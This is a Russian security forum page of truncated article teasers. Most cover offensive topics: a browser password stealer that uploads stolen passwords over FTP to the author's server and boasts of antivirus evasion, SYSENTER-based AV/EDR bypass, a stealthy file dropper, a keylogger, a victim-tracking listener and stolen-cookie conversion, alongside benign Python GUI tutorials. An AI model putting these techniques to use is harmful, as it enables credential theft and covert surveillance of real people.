Программирование для ИБ

Асинхронный listener и реализация отслеживания без использования GPS — Подготовка

  • 6 670
  • 3
Здравствуй, codeby! У меня в планах создать асинхронный listener который может работать одновременно c любым количеством соединений, и добавить фитчу, которая позволит узнать точное местоположение(вплоть до дома) жертвы. Для работы этой фитчи, потребуется только интернет соединение, GPS не нужен. Я постараюсь уложится в две статьи. Сегодня мы сделаем каркас для listener.

Предупреждение:

Софт который мы напишем будут не идеален, конечно я могу попробовать сделать его как можно лучше, но это займёт много времени и кода. При желании, вы легко сможете сами расширить функционал кода данного мной. И этот туториал рассчитан на тех, кто знает что такое сокеты и как они работают в python. Если вы в первый раз сталкиваетесь с ними, ссылка ниже - для вас.

О сокетах в python:

Немного о select

select - функция, которая нужна для мониторинга...

Kivy — Введение

  • 10 254
  • 7
Всем привет, решил сделать серию статей про Kivy и KivyMD. Я не UI разработчик, я просто умею делать приложения с помощью kivy.
Не надо ожидать того, что после этих статей вы сходу сделаете UI круче чем у google, vk и других приложений-гигантов.
Но одно я пообещать точно могу, приложения будут :love:.

Начнём!

Коротко о каждом

Kivy - python фреймворк который позволяет создавать кроссплатформенные приложения.
KivyMD - набор виджетов в стиле Google Material Design для kivy

Чтобы не оставалось вопросов

Виджет - это небольшой вспомогательный элемент/компонент приложения(например кнопка), которое выполняет определенную функцию
UI - пользовательский интерфейс

Установка kivy

Windows:
Ссылка на туториал от kivy для windows(прочитайте если есть проблемы с установкой или если хотите узнать большее)

Сначала установим зависимости:
Код:
python -m pip install docutils pygments pypiwin32...

Статья Как обойти антивирусы и EDR: глубокое погружение в SYSENTER и Native‑API

  • 13 063
  • 9
Многоуровневое разграничение прав в системах класса Windows, накладывает свой отпечаток на систему безопасности в целом. Разработчикам логичней было создать один защитный пласт и закрыть его на большой замок, но они раскромсали его на мелкие части, в результате чего появилось множество дыр и обходных путей на разных уровнях. В данной статье рассматривается одна из таких лазеек, а точнее – скрытый запуск ядерных API-функций, что даёт возможность прямо под юзером обходить различные гуарды, мониторы безопасности, API-шпионы, антивирусы и прочие силовые структуры. Не сказать, что тема новая.. просто она незаслуженно забыта, и в силу своей сложности всё реже встречается в защитных механизмах наших дней.

Оглавление:


1. Инструкция SYSENTER – общие сведения.
2. SSDT – System Service Descriptor Table.
3. Разбор таблицы-экспорта библиотеки Ntdll.dll.
4. Программа поиска нативных сервисов.
5. Вызов функций посредством SYSENTER.
6...

Пишем графическую оболочку на Python - часть 4

  • 12 409
  • 12
Всем привет!

По просьбам трудящихся всё-таки решил написать ещё одно продолжение предыдущих статей. Часть 1 Часть 2 Часть 3

Сегодня будем наводить красоту. В качестве подопытного возьмём генератор паролей с тремя кнопками – генерировать, очистить и сохранить.

Python:
from tkinter import *
import random
from tkinter import filedialog as fd
import string
__version__ = 'Version: 2.1'

root = Tk()
root.resizable(width=False, height=False)
root.title("Password generator  " + str(__version__))
root.geometry("420x320+300+300")
calculated_text = Text(root, height=14, width=50)

def erase():
    calculated_text.delete('1.0', END)

chars = string.ascii_letters + string.digits + string.punctuation
x = 0

def passw():
    for n in range(int(number_entry.get())):
        password = ''
        global x
        x += 1
        for i in range(int(length_entry.get()))...

Статья ZIP'аем файл вручную (часть.1. упаковщик)

  • 10 199
  • 4
ZIP.png

Допустим имеем файл и нужно перенести его в своей программе на чужую машину. Если этот файл будет внешним (на подобии библиотеки или драйвера), то сразу бросится в глаза. А что если зашить его в своё тело и создавать при запуске основного приложения? Благо производительность современных процессоров это позволяет и жертва даже не успеет понять в чём дело. Другими словами получим матку, которая будет порождать файлы.

Всё-бы хорошо, только таскать в себе готовые бинарники типа exe\dll в несжатом виде тоже не лучшая идея – одних только "байтов выравнивания" в них под 50%, а для использования готовых архиваторов нужен к нему распаковщик. Так-что иметь в запазухе обычный зиппер это всегда гуд, а данная статья (надеюсь) поможет вам разобраться в его деталях. Буду использовать ассемблер FASM, двоичный редактор HxD, ну и виндовый кальк в инженерном виде.
----------------------------------------

Общие положения

Характерной особенностью данных является их избыточность. Причём наблюдается она у всех типов данных, будь то бинарный поток или человеческая речь. В надежде донести...

Python скрипт для отслеживания запускаемых приложений

  • 23 840
  • 17
В данной статье приведу пример мониторинга запускаемых приложений в ОС windows.
Скрипт для ведения логов будет написан на python 3.
Скрипт позволит просмотреть, какие процессы и приложения запускались системой и пользователем, а так же закрывать нежелательные приложения/процессы.

Для начала напишем определим, что именно будет делать скрипт.
1. Скрипт будет работать в системе постоянно, в скрытом режиме.
2. Скрипт должен записывать все запускаемые приложения в формате ("имя приложения" "id процесса" "Потребляемая память" "Время запуска" "Дата запуска")
3. Так же скрипт будет записывать все завершающиеся процессы в таком же формате
4. Скрипт не будет регистрировать запуск и завершение приложений из "черного" списка
5. Скрипт будет завершать процессы из произвольного списка

Теперь давайте определим, какие модули нам понадобятся и импортируем их

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
from time import sleep, time
import log
import threading

def main():
    # Основная функция main()

if __name__ == "__main__":
    main()
Я вынес некоторые функции, которыми часто пользуюсь в отдельный модуль "log.py".
Выглядит он вот так:
Python:
def...

Статья Разработка ПО на Python для анализа безопасности данных

  • 37 241
  • 38
Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать...

Изучаем Python на практике. Конвертируем cookies Google Chrome из txt в json.

  • 8 592
  • 1
Это третья статья авторского цикла "Изучаем Python на практике".

Предыдущие части:
  1. Изучаем Python на практике. Пишем чекер SSH серверов
  2. Изучаем Python на практике. Пишем аналог утилит wc и split (для подсчета строк и разрезания текстовых файлов)
Из за отсутствия фидбека пропало желание писать, может быть тема сегодняшнего поста будет интересна более широкому кругу читателей форума.

Есть такая проблема - когда есть "бэкап" (ну мы то знаем, что это на самом деле :)) кук Google Chrome в формате txt, но для того, что бы их снова импортировать в браузер, нужно конвертировать их файл в формате json. В сети ходит скрипт на PHP, но его неудобно использовать, так как нужен запущенный веб сервер, локально или удаленно. К тому же у этого скрипта есть проблема - он работает только с одним файлом.

Так же есть веб сервис для преобразования, но доверять свое кому-то неизвестному не очень хочется. Задача...

Мониторинг пользовательской активности в Windows: Запись действий и создание кейлоггера

  • 10 789
  • 2
Привет-привет!

Хочу рассказать об одном интересном опыте, триггером для получения которого стал мой товарищ, проходивший собеседование в одну структуру исполнительной власти одного государства. Чтобы ни у кого не возникло никаких ассоциаций с реальностью (так как, разумеется, история полностью выдуманная), назовем оное государство Фракцией Рептилоидов (ФР), а оную структуру Большой Статистической Флуктуацией (БСФ). Итак, приходит мой друг в здание, где расположилось БСФ ФР, просачивается через 100500 механизмов биометрической аутентификации (забыл сказать, структура занимается сверхсекретными делами государства и напрямую связана с безопасностью, поэтому охрана мероприятия на высшем уровне) и оказывается в оборудованной по последнему слову технике комнатке, в которой нет места отваливающемуся линолеуму и валяющимся-на-проходе огрызкам проводов, где в него с порога шарашат оригинальным предложением: «А вот если я тебе прямо сейчас дам ноутбук, напишешь мне кейлоггер?!».

ДИСКЛЕЙМЕР
Вся информация представлена исключительно в образовательных целях. Создание и распространение вредоносного ПО, равно как и...

Практика для Python

  • 15 806
  • 16
Привет! Заметил, что проблемой некоторых после изучения ЯП является оттачивание навыков, то есть практика.
Именно поэтому решил отобрать парочку достойных сайтов для практики языка программирования Python,
но чтобы не получился копипаст решил также разобрать парочку заданий с каждого сайта.


1| www.pythonchallenge.com - Сайт с загадками для решения которых нужно использовать Python.
Сложность увеличивается в геометрической прогрессии с каждой новой задачей.


Давайте решим задачки с этого сайта:

Для решение этой задачи не нужны никакие знания языка программирования.
Чтобы решить эту задачу, нужно просто придерживаться логики.


26612


Как видим, сайт даёт нам подсказку, благодаря, которой мы должны перейти к следующему уровню.
Данную задачу, как и все последующие можно решить двумя способами:

Первый способ: Следовать логике и понять, что данный уровень является нулевым (см. картинку), а значит последующий будет первым.

[COLOR=rgb(147, 101...
🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

Статистика форума

Темы
51 047
Сообщения
344 842
Пользователи
148 599
Новый пользователь
Лабуба